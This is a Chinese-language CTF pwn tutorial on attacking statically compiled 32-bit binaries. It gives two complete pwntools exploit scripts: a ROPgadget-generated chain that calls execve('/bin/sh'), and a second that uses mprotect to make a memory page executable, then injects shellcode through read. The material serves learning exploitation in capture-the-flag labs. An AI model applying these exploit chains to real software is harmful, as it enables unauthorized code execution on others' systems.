静态编译
1. 栈足够大的情况下
-
程序在ida打开后,左侧的函数栏目没有红色(系统调用的函数),而只有一些静态函数,通常这类文件的大小会必普通的pwn题程序要大得多。
-
这种静态编译的题没有调用库函数,也就没有使用libc,自然我们也没法泄漏libc的基地址,可以直接使用
ROPgadget
来搜索,利用程序中的一些指令片段,来拼凑出call system("/bin/sh")
的效果。ROPgadget --binary rop --ropchain
-
搜索到的指令如下,指令平凑起来就相当于一个
call system("/bin/sh")
函数,在栈溢出的返回地址处填入这串指令的地址(也可以直接在ida中看到)即可顺利执行: -
EXP:
from pwn import * from struct import pack context(os='linux', arch='amd64', log_level='debug') # p1=remote("node5.buuoj.cn",29851) p1 = process("./rop") p = b'a'*(0x0c+4) #下面是各种指令的地址 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 p1.sendline(p) p1.sendline(b"cat flag") p1.interactive()
2. 栈不够大,需要往内存页面上写入mprotect函数修改内存页面权限
-
ida打开,发现存在栈溢出,但是溢出的长度只有 0x64-0x12-0x4*2 ,不足以在栈上写入有地址,所以要改变方法:往内存页面上写入shellcode,再执行。
-
往内存上写数据前,要修改写入页面的权限为 可读可写可执行 ,mprotect函数的声明,参数说明如下:
注意 :再指定内存页面的起始地址时要保证 对齐 到页面边界上,即addr的第三位必须是 000(4) = 000000000000 保证其能被 4k = 1000000000000(2) = 0x1000(16) 整除,长度为4k=0x1000 的整数倍否则将报错,最后内存保护标志可以按数字标记,将各个权限数字相加即可 可读可写可执行 = 0x7。
#include <sys/mman.h> int mprotect(void *addr, size_t len, int prot);
-
修改完内存页面权限后就可以往上写入shellcode代码,利用read函数,传入页面的地址,写入的大小,还有选项,最后read返回执行写入的汇编代码。
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show',28208)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']
# pop_ebx_esi_ebp_ret = 0x080a019b # 0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
# pop_ebx_esi_ebp_ret = 0x08056194 # 0x08056194 : pop eax ; pop edx ; pop ebx ; ret
# pop_ebx_esi_ebp_ret = 0x08061c3b # 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
pop_ebx_esi_ebp_ret = 0x08061c3b # 0x08069cbd : pop esi ; pop edi ; pop ebx ; ret
#页面起始地址
M_addr = 0x080Db000
#页面大小
M_size = 0x1000
# 权限
M_proc = 0x7
#调用protect函数修改内存页面M_addr位置的权限,调用完成后利用pop+ret指令衔接到read函数
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
#调用read函数向M_addr上写入shellcode,最后退出read函数时ret调用M_addr处的shellcode代码
payload += p32(read_addr)+ p32(M_addr) + p32(0) + p32(M_addr) + p32(M_size)
#先发送一次payload,修改完权限,并且再read函数的等待输入
io.sendline(payload)
shellcode = asm(shellcraft.sh())
#第二次发送payload,给read函数写入shellcode代码
io.sendline(shellcode)
io.recv()
io.interactive()